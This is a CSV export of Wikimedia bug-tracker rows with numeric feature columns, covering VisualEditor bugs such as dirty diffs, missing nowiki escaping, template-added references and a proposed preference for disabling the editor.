240385,VisualEditor - EditIntro is incorrectly linked in the monobook skin.,"Marking as INVALID, as per standard practice for issues with on-wiki code. (Has this been fixed?)",,,1385398255,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jwf46mqjltex4ny7fpad,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5652173913043477,0.9565217391304348,"Marking as INVALID, as per standard practice for issues with on-wiki code. (Has this been fixed?)"
240378,VisualEditor - EditIntro is incorrectly linked in the monobook skin.,Confirming problem exists.  The fix probably needs to be made at [[MediaWiki:Common.js]],,,1374907792,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jwf46mqjltex4ny7fpad,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,3.85,0.9,Confirming problem exists.  The fix probably needs to be made at [[MediaWiki:Common.js]]
54107,VisualEditor: image followed immediately with wikilink causes dirty diff,"See https://en.wikipedia.org/w/index.php?title=Karma_in_Hinduism&diff=564615505&oldid=564615290 and https://en.wikipedia.org/w/index.php?title=Karma_in_Hinduism&diff=565801063&oldid=565800169

Reproduced at https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&diff=565853026&oldid=565852620, https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&diff=565853312&oldid=565853264

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374862080,1379847739.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mx57agjpr44kackrkfz2,task_description,declined,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.5185185185185185,"See URL and URL

Reproduced at URL URL

--------------------------
**Version**: unspecified
**Severity**: normal"
239940,VisualEditor: image followed immediately with wikilink causes dirty diff,"Sorry for getting to this bug so late.

I can't reproduce this bug at all. However, I have a number of confusions and questions about the bug report such that I don't know if that's because the bug has been fixed, was never present, or I just can't understand it… :-(

""In VE, the image is not editable.""

What does ""not editable"" mean? You can't move? Can't resize? Can't add a caption? Can't delete? Doesn't appear?

""(note the diff is a mess)""

Is it? What kind of mess? Details help a lot in a complex system so we can tell whether we can reproduce or not. Is the VE still the same VE that you had open in step 2 (with the changes made to the text line into ""abc def gh"", and the WT changes made in step 3 also made but in parallel to the edit)?

See https://www.mediawiki.org/wiki/VisualEditor:Bug_52107 for my testing page.

Am provisionally marking this as ""WORKSFORME"", which is very unsatisfactory. :-( Happy to review if we can have further information.",,,1379847739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,True,,,11,,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,3.6666666666666665,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,2.6666666666666665,2.6666666666666665,0.0,0.0,0.0,3.0,0.0,7.666666666666667,9.333333333333334,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,4.666666666666667,1.6666666666666667,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,10.333333333333334,0.3333333333333333,1.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,3.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,5.333333333333333,3.0,9.333333333333334,2.0,2.0,7.333333333333333,0.0,0.0,0.0,0.0,5.0,0.3333333333333333,1.0,0.0,4.333333333333333,9.333333333333334,3.0,3.0,3.6666666666666665,0.0,4.333333333333333,0.0,1.6666666666666667,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,3.29187134502924,0.7050877192982457,"Sorry for getting to this bug so late.

I can't reproduce this bug at all. However, I have a number of confusions and questions about the bug report such that I don't know if that's because the bug has been fixed, was never present, or I just can't understand it… :-(

""In VE, the image is not editable.""

What does ""not editable"" mean? You can't move? Can't resize? Can't add a caption? Can't delete? Doesn't appear?

""(note the diff is a mess)""

Is it? What kind of mess? Details help a lot in a complex system so we can tell whether we can reproduce or not. Is the VE still the same VE that you had open in step 2 (with the changes made to the text line into ""abc def gh"", and the WT changes made in step 3 also made but in parallel to the edit)?

See URL for my testing page.

Am provisionally marking this as ""WORKSFORME"", which is very unsatisfactory. :-( Happy to review if we can have further information."
239930,VisualEditor: image followed immediately with wikilink causes dirty diff,"Here is another case that looks similar:
https://en.wikipedia.org/w/index.php?title=Persian_language&diff=prev&oldid=566108307",,,1375107801,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"Here is another case that looks similar:
URL"
239921,VisualEditor: image followed immediately with wikilink causes dirty diff,"Steps to reproduce:
1. Create a page with

""
abc

def gh

[[File:Andrew-W.K.-The-Party-All-Goddamn-Night-EP-2011.jpg|thumb|right]][[Sambanthar|Thirugnana Sambanthar]] of the [[Shaiva Siddhanta]] school.
""

2. In VE, the image is not editable.  Place the cursor at 'c', press space and then delete: converting the first line to ""abc def gh"" - press save, review changes.

(note that the diff looks good.  Do not save.)

3. In Source Editor, after gh add ' ij' and save

4. In VE, repeat step 2

(note the diff is a mess)

Confirmed any image does this; and tested in Chrome and Firefox.",,,1374903910,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.0,0.0,0.5,1.5,6.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.5,1.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.5,1.0,14.0,0.5,2.5,6.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,0.0,6.5,12.5,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,4.5,3.20829276209023,0.6751866277182733,"Steps to reproduce:
1. Create a page with

""
abc

def gh

[[File:Andrew-W.K.-The-Party-All-Goddamn-Night-EP-2011.jpg|thumb|right]][[Sambanthar|Thirugnana Sambanthar]] of the [[Shaiva Siddhanta]] school.
""

2. In VE, the image is not editable.  Place the cursor at 'c', press space and then delete: converting the first line to ""abc def gh"" - press save, review changes.

(note that the diff looks good.  Do not save.)

3. In Source Editor, after gh add ' ij' and save

4. In VE, repeat step 2

(note the diff is a mess)

Confirmed any image does this; and tested in Chrome and Firefox."
239917,VisualEditor: image followed immediately with wikilink causes dirty diff,"This looks like a string buffer problem, as it inserts different pieces of text into the same spot.  And it appears to only happen every second edit.

https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&action=history&offset=20130727021955&limit=4

The testcase is  fairly small now
https://en.wikipedia.org/wiki/User:John_Vandenberg/test

My process for reproducing the bug is to open the page in VE, merge the first two paragraphs (i.e. bring 'other Hindu views' up to the 'and').  Review.
If that doesnt trigger it, edit source, remove a word further down in the page, save, and remove the process in VE.",,,1374892576,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-mx57agjpr44kackrkfz2,task_subcomment,,True,c1,3,False,,,3,,0.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,1.0,3.5,3.5,0.0,0.5,0.0,0.5,0.5,4.0,8.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,13.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,7.0,1.0,7.5,1.0,2.5,9.0,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,2.5,8.5,4.0,0.0,3.5,0.0,2.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,3.4477272727272728,0.7652597402597403,"This looks like a string buffer problem, as it inserts different pieces of text into the same spot.  And it appears to only happen every second edit.

URL

The testcase is  fairly small now
URL

My process for reproducing the bug is to open the page in VE, merge the first two paragraphs (i.e. bring 'other Hindu views' up to the 'and').  Review.
If that doesnt trigger it, edit source, remove a word further down in the page, save, and remove the process in VE."
54103,Missing nowiki escaping when single quotes wrap new i/b tags,"Reported at: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Link_formatting_trick

Simplified test cases here:

[subbu@earth lib] echo ""[[Foo|'foo']]"" | node parse | sed ""s/foo/<i>foo<\/i>/g;"" | node parse --html2wt
[[Foo|'''foo''']]

[subbu@earth lib] echo ""[[Foo|'foo']]"" | node parse | sed ""s/foo/<b>foo<\/b>/g;"" | node parse --html2wt
[[Foo|''''foo'''']]

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374857700,1375305913.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-pxbsw644f45j6giahmh5,task_description,resolved,True,c1,3,True,False,True,3,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.5,7.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,3.1215932914046123,0.5511879804332634,"Reported at: URL

Simplified test cases here:

[subbu@earth lib] echo ""[[Foo|'foo']]"" | node parse | sed ""s/foo/<i>foo<\/i>/g;"" | node parse --html2wt
[[Foo|'''foo''']]

[subbu@earth lib] echo ""[[Foo|'foo']]"" | node parse | sed ""s/foo/<b>foo<\/b>/g;"" | node parse --html2wt
[[Foo|''''foo'''']]

--------------------------
**Version**: unspecified
**Severity**: normal"
239734,Missing nowiki escaping when single quotes wrap new i/b tags,Deployed and tested in production.,,,1375305913,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Deployed and tested in production.
239730,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76467 merged by jenkins-bot:
Take #2: (Bug 52103) nowiki escaping when quotes surround i/b tags

https://gerrit.wikimedia.org/r/76467",,,1375108318,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,11.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,3.5714285714285716,0.9642857142857143,"Change 76467 merged by jenkins-bot:
Take #2: (Bug 52103) nowiki escaping when quotes surround i/b tags

GERRIT_URL"
239726,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76467 had a related patch set uploaded by Subramanya Sastry:
Take #2: (Bug 52103) nowiki escaping when quotes surround i/b tags

https://gerrit.wikimedia.org/r/76467",,,1375070667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,9.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,3.9375,0.96875,"Change 76467 had a related patch set uploaded by Subramanya Sastry:
Take #2: (Bug 52103) nowiki escaping when quotes surround i/b tags

GERRIT_URL"
239719,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76162 merged by jenkins-bot:
(Bug 52103) <nowiki/> escape when single quotes wrap new i/b tags

https://gerrit.wikimedia.org/r/76162",,,1374946378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5357142857142856,1.0,"Change 76162 merged by jenkins-bot:
(Bug 52103) <nowiki/> escape when single quotes wrap new i/b tags

GERRIT_URL"
239713,Missing nowiki escaping when single quotes wrap new i/b tags,"Change 76162 had a related patch set uploaded by Subramanya Sastry:
(Bug 52103) <nowiki/> escape when single quotes wrap new i/b tags

https://gerrit.wikimedia.org/r/76162",,,1374870985,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxbsw644f45j6giahmh5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.90625,1.0,"Change 76162 had a related patch set uploaded by Subramanya Sastry:
(Bug 52103) <nowiki/> escape when single quotes wrap new i/b tags

GERRIT_URL"
54086,User preference to disable VisualEditor (VE product),"This bug is about the generalisation of the solution deployed in bug #50929 in the Wikimedia environment. Having in mind the medium term of the deployment of the VisualEditor in many/most of the MediaWiki wikis, it could be a good idea to give the sysadmins the choice of enabling or disabling the VisualEditor by default for registrated users, with a LocalSettings parameter wgVisualEditorDefault.

This would give the choice to the sysadmins to enable by default or not the VE for registrated users (for anons there is already the preference wgVisualEditorDisableForAnons), and this could be directly used in the Wikimedia environment to replace the parameter $wmgVisualEditorDefault.

To resolve this bug, the patch https://gerrit.wikimedia.org/r/#/c/75541/ could be generalised by renaming the new preference ""visualeditor-betatempdisable"" into ""visualeditor-preference-disable"", and depending of the variable wgVisualEditorDefault either the positive preference (for alpha/beta environments, ""Enable the VE"") or the negative preference (for production environments, ""Disable the VE"") would be used, the other preference being hidden with wgHiddenPrefs.

In the normal scenario the wiki change from beta to production environment, it would be easy for the sysadmin to change the wgVisualEditorDefault value from false to true and this would automatically activate the VE during the change, so that the users are aware of the new setting and have the possibility of seeing the new editor (some welcoming message could be displayed then) and if users don’t like it they are given the possibility to disable it (or not if the relevant preference is hidden, but this is a sysadmin/community choice).

I point out the default messages visualeditor-preference-enable/disable should have a general-wiki phrasing, and any Wikimedia customisation (about namespaces where it is enabled, about the time the parameter is available before possibly hide the preference) should be customised in the WikimediaMessages extension (see my comment https://bugzilla.wikimedia.org/show_bug.cgi?id=50929#c34 ).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50929",Needs Triage,90.0,1374837420,1385396429.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-inyop7q4zxzxlulleamf,task_description,declined,True,c1,3,False,False,False,3,,0.75,0.0,0.0,2.25,0.5,6.25,1.5,0.0,0.0,0.5,1.75,0.0,0.0,0.0,0.25,0.5,0.0,2.25,12.0,0.0,1.5,0.5,0.25,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.25,2.75,0.75,1.25,0.25,0.0,0.0,0.0,0.25,0.25,0.0,0.25,0.0,4.75,0.25,0.75,0.0,0.0,0.0,16.0,1.0,0.75,0.0,0.25,0.0,0.25,0.0,0.0,1.25,0.0,0.25,0.5,0.0,0.0,0.25,0.0,0.0,11.25,4.0,6.75,1.25,3.0,13.25,0.0,0.0,0.0,0.25,5.5,0.0,0.75,0.0,2.0,12.0,3.25,0.0,2.0,0.0,2.0,0.0,0.25,1.0,0.0,1.75,0.0,0.25,0.0,4.596938775510204,0.625,"This bug is about the generalisation of the solution deployed in bug #50929 in the Wikimedia environment. Having in mind the medium term of the deployment of the VisualEditor in many/most of the MediaWiki wikis, it could be a good idea to give the sysadmins the choice of enabling or disabling the VisualEditor by default for registrated users, with a LocalSettings parameter wgVisualEditorDefault.

This would give the choice to the sysadmins to enable by default or not the VE for registrated users (for anons there is already the preference wgVisualEditorDisableForAnons), and this could be directly used in the Wikimedia environment to replace the parameter $wmgVisualEditorDefault.

To resolve this bug, the patch URL could be generalised by renaming the new preference ""visualeditor-betatempdisable"" into ""visualeditor-preference-disable"", and depending of the variable wgVisualEditorDefault either the positive preference (for alpha/beta environments, ""Enable the VE"") or the negative preference (for production environments, ""Disable the VE"") would be used, the other preference being hidden with wgHiddenPrefs.

In the normal scenario the wiki change from beta to production environment, it would be easy for the sysadmin to change the wgVisualEditorDefault value from false to true and this would automatically activate the VE during the change, so that the users are aware of the new setting and have the possibility of seeing the new editor (some welcoming message could be displayed then) and if users don’t like it they are given the possibility to disable it (or not if the relevant preference is hidden, but this is a sysadmin/community choice).

I point out the default messages visualeditor-preference-enable/disable should have a general-wiki phrasing, and any Wikimedia customisation (about namespaces where it is enabled, about the time the parameter is available before possibly hide the preference) should be customised in the WikimediaMessages extension (see my comment URL ).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
238867,User preference to disable VisualEditor (VE product),"I am a bit disappointed by this closing, although it was only a suggestion of generalisation of the Wikimedia configuration for progressive deployment on third-party wikis. But it’s not very important.",,,1385996565,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,3.0,0.0,3.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.621621621621622,0.8918918918918919,"I am a bit disappointed by this closing, although it was only a suggestion of generalisation of the Wikimedia configuration for progressive deployment on third-party wikis. But it’s not very important."
238859,User preference to disable VisualEditor (VE product),"On-wiki configuration management is a much bigger piece than just for VisualEditor; I think it's probably marking this as WONTFIX within the context of VE, but instead suggest that the RfCs for this (as a piecemeal approach seems worse than nothing).",,,1385396429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,True,,,21,,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,12.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,4.285714285714286,0.8775510204081632,"On-wiki configuration management is a much bigger piece than just for VisualEditor; I think it's probably marking this as WONTFIX within the context of VE, but instead suggest that the RfCs for this (as a piecemeal approach seems worse than nothing)."
238853,User preference to disable VisualEditor (VE product),"(In reply to comment #0)
...
> I point out the default messages visualeditor-preference-enable/disable
> should
> have a general-wiki phrasing, and any Wikimedia customisation (about
> namespaces
> where it is enabled, about the time the parameter is available before
> possibly
> hide the preference) should be customised in the WikimediaMessages extension
> (see my comment https://bugzilla.wikimedia.org/show_bug.cgi?id=50929#c34 ).

About this, see also bug 52188.",,,1375183728,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,6.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.5714285714285714,"(In reply to comment #0)
...
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

About this, see also bug 52188."
238849,User preference to disable VisualEditor (VE product),"In the proposed scenario the default values of the two preferences visualeditor-enable and visualeditor-disable would be false: in a beta environment the default is ""not enabled by default=false"", and in the production environment the default is ""not disabled by default=false"".",,,1374838260,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-inyop7q4zxzxlulleamf,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,2.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.345454545454546,0.5818181818181818,"In the proposed scenario the default values of the two preferences visualeditor-enable and visualeditor-disable would be false: in a beta environment the default is ""not enabled by default=false"", and in the production environment the default is ""not disabled by default=false""."
54083,VisualEditor: References that are added by templates are not recognized by the references tool,"I saw bugs that are similar to this one, for example Bug 51289, but nothing exactly like this one.

References that are added by templates are not recognized by the references tool. I am not talking about templates like the English Wikipedia's {{cite web}}, which go inside the <ref> tag, but about template that add the <ref> tag itself (with {{#tag:ref}}).

This can be in infoboxes (Bug 51289) or in any other template. The Hebrew Wikipedia, for example, uses such a template, {{הערה}} very extensively, because mixing right-to-left text with left-to-right XML tags like <ref> is very hard to edit. This means that most of the references there are not usable for reusing in the ""Use an existing reference"".

(This also means a bunch of other things, but I'll report them separately.)

--------------------------
**Version**: unspecified
